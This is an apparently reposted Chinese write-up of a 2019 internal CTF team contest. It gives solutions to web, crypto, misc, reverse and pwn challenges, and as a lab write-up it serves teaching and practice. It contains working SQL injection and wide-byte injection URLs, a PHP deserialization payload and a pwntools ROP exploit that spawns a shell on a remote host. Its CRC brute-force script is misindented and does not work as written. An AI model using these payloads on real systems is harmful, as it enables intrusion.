首页 > 其他分享 >2019内部赛团体赛

2019内部赛团体赛

时间:2022-11-06 00:11:11浏览次数:86  
标签:__ addr 团体赛 dic flag 2019 data payload 内部

Web

capture

302 跳转 直接 curl -vvv index.php

sha1_test

弱类型比较数组绕过。
http://
b283de07890c42318826c8e4b0c62fd24b8bacd9b7c74ba8.changame.ichunqiu.com/?
x[]=1&y[]=2

md5test

需要两个不同的值的相同的 md5,
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

sqli_test

只过滤了括号,没过滤反斜杠,反斜杠是一个可以转义后面的字符,所有 Username=\&password=or+1%23 就相当于 sql 执行了 Select * from user where username=’xxx\’and password=’or 1#
此条件为真。

wbyte

宽字节注入
Payload: http://xxxx/?id=-1%af%27%20union%20select%20flag,flag%20from%20flag%23

whoareyou

源码在 index.php.swp 通过看源码可知道,到 Admin 的序列化,需要 post 一
个 sex 为 girl 才行,然后本地生成一个序列化($a->flag=1)替换 info,flag 就出
来了。
info=O:5:"Admin":1:{s:4:"flag";s:1:"1";};

Crypto

strange_rsa

把 N 拿到在线解密,得到质数,套公式

# coding=utf-8
import gmpy2

n = 703739435902178622788120837062252491867056043804038443493374414926110815100242619
e = 59159
c = 449590107303744450592771521828486744432324538211104865947743276969382998354463377
# p =
# q =
n1 = 782758164865345954251810941
n2 = 810971978554706690040814093
n3 = 1108609086364627583447802163
# n = 322831561921859
# e = 65537
phi_n = (n1 - 1) * (n2 - 1) * (n3 - 1)
d = gmpy2.invert(e, phi_n)
# d = 0x509c42eb6aa8414d3b54864520d5138ba2af5107415695ebb1d35d35e1a3d7d407cea85cefc4ad5cae88030d3647f1aaccb89f89b64057e38804d37aed5e253f
print(d)
# c =0xdc2eeeb2782c
'''
下面是解密过程
'''
m = pow(c, d, n)
print(hex(m))
# hex -> text flag{1e257b39a25c6a7c4d66e197}

加密算法

本题百度搜索是国密 SM4,直接解密就可以,使用 ipython

print hex(__import__('pysm4').decrypt(0x26289786b91d24860de5492672906e67,0x0123456789abcdeffedcba9876543210))[2:].replace('L','').decode('hex')

Misc

Salted

Aes 解密 http://tool.oschina.net/encrypt/

broken

jpg, png文件头修复

hide

Zip 最后存在一些有规律的 29 09
按如下规则

key

|打开压缩包后,不知密码,有几个 txt,长度均为 5,可以用 crc 进行碰撞暴力破
解。破解脚本如下

# coding=utf-8
import binascii
import string

# 0x05DEC988
# 0x6ED247CD
# 0x1C7A5691
# 0x1447EA8C
# 0x2F9875CC
# 0xCAF2D9BB
# you_want = 0x05DEC988
check = [0x05DEC988, 0x6ED247CD, 0x1C7A5691, 0x1447EA8C, 0x2F9875CC, 0xCAF2D9BB]
dic = string.ascii_letters + '0123456789_{}'
print(dic)


def crc(s):
    return binascii.crc32(s) & 0xffffffff


for i1 in range(len(dic)):
    for i2 in range(len(dic)):
        for i3 in range(len(dic)):
            for i4 in range(len(dic)):
                for i5 in range(len(dic)):
                    data = dic[i1] + dic[i2] + dic[i3] + dic[i4] + dic[i5]
                    data_crc = crc(data)
                for i in check:
                    if data_crc == i:
                        print(data, hex(data_crc))

wx

png 高度隐写

re

贝斯程序

猜测 flag 是 base64 加密,直接
strings base_program.exe|grep Zm |base64 -D

analysis

wireshark 打开 发现都是 udp 的包 ,在下面的 ssh 和 tcp 连接中发现可以字符串,解密无结果,放弃。

重新打开回话统计 发现都是 192.168.196.1 和 192.168.196.131 的 icmp 包 。尝试打开过滤 a-b,在 201 处发现异常 f 字符 同时依次向下是 l,a ,g,{,

依次统计后得到 flag{8d27955c-2fd5-4a0b-a057-f266220fd817} 提交拿到flag。

pwn

Broadcast System

经过检查,发现在 change 函数中存在栈溢出,但是不能直接执行 shellcode。
在 choice 中,可以读入 0x10 个字节数据,但过滤了 bin 和 sh,可通过前置\x00 来进行绕过。
change 中,变量为 0x10 个字节,但读取了 0x30 个。。。构造 payload,执行 buff 中的/bin/sh 就可以拿到 shell。

from pwn import *

file_name = './system'
elf = ELF(file_name)
Debug = False
context.log_level = 'debug'
if Debug:
    r = process(file_name)
else:
    r = remote('39.97.167.120', 56725)


def choice(c):
    r.readuntil("Please enter your choice:\n")
    r.sendline(c)


def broadcast(message):
    r.readuntil("Please input the message you want to broadcast:")
    # raw_input()
    r.send(message)


def change(message):
    r.readuntil("Please select a broadcast channel(1-100)")
    r.sendline(message)


if __name__ == '__main__':
    system_addr = 0x400810
    buff_addr = 0x6020D1  # D0 + 1
    ret_addr = 0x400DE3
    # raw_input()
    change('0')
    choice('C')
    change('\x00/bin/sh\x00')
    choice('B')
    payload = 'A' * 0x10 + 'A' * 8
    payload += p64(ret_addr)
    payload += p64(buff_addr)
    payload += p64(system_addr)
    broadcast(payload)
    r.interactive()
    # flag{2631e86a5a2d8da821cab91bee0a3583

标签:__,addr,团体赛,dic,flag,2019,data,payload,内部
From: https://www.cnblogs.com/wgf4242/p/16861766.html

相关文章

  • 2019内部赛个人赛
    pwnElectricalSystem在Plaeaseenteryoucardid中,可以存储shellcode,在读取choice的地方,读取了0x20个字节到Int变量中,形成了站溢出,构造ROP,将函数返回地址指向到cardid......
  • Luogu P5816[CQOI2010]内部白点题解
    LinkLuoguP5816Description一个平面直角坐标系内有\(n\)个黑点,其余点为白点,将会进行若干次变换,每次变换会把上下左右方向都有黑点的白点变成黑点,直到找不到符合要求......
  • ZYNQ & AXI总线 & PS与PL内部通信(用户自定义IP)
      ZYNQ、AXI协议、PS与PL内部通信 三种AXI总线分别为:AXI4:(Forhigh-performancememory-mappedrequirements.)主要面向高性能地址映射通信的需求,是面向地址映射的接......
  • 如何修改子组件的内部样式
    scoped是一个样式作用域:  1.可以让当前这个组件独享这个样式  2.对子组件的根元素样式同样有效果  3.对子组件的内部没有效果 原理:  当是我......
  • 内部类和lambda表达式
    如果有一个接口A,A里有eat()抽象方法,想要调用这个抽象方法,用传统模式就要写一个实现类B并重写eat()方法,再创建B对象调用这个方法如果用内部类可以简化代码量先定义两个接口......
  • 内部网关协议RIP及距离向量算法
    ......
  • Windows 10下基于Visual Studio 2019编译配置VTK 8.2.0
    参考:https://blog.csdn.net/weixin_42694889/article/details/1159645331、下载并安装VisualStudioCommunity2019、CMake3.19.0;2、下载VTK8.2.0并解压:https://vt......
  • 如何判断点是否在多边形内部 (C语言版)
    概述这是图形学中的一个经典问题(point-in-polygon),一种比较简易的判断方法是射线法,就是以判断点作为端点,朝着任意方向绘制一条射线。如果射线与多边形交点为奇数个,就说明此......
  • JavaWeb期中考试-2019年版总结
    关于这次2019年期中考试的练习,我想对它进行一个总结,首先,对于完全没有接触过javaweb的我来说,只是在课上听建民老师提了一下要做这个东西,因此在一开始只是先学着怎么画html......
  • JavaWeb期中考试-2019年版(六)
    本次是JavaWeb期中考试最后一个部分,系统更新和数据显示的代码分享首先是updateq.jsp<%@pagelanguage="java"contentType="text/html;charset=UTF-8"pageEncodi......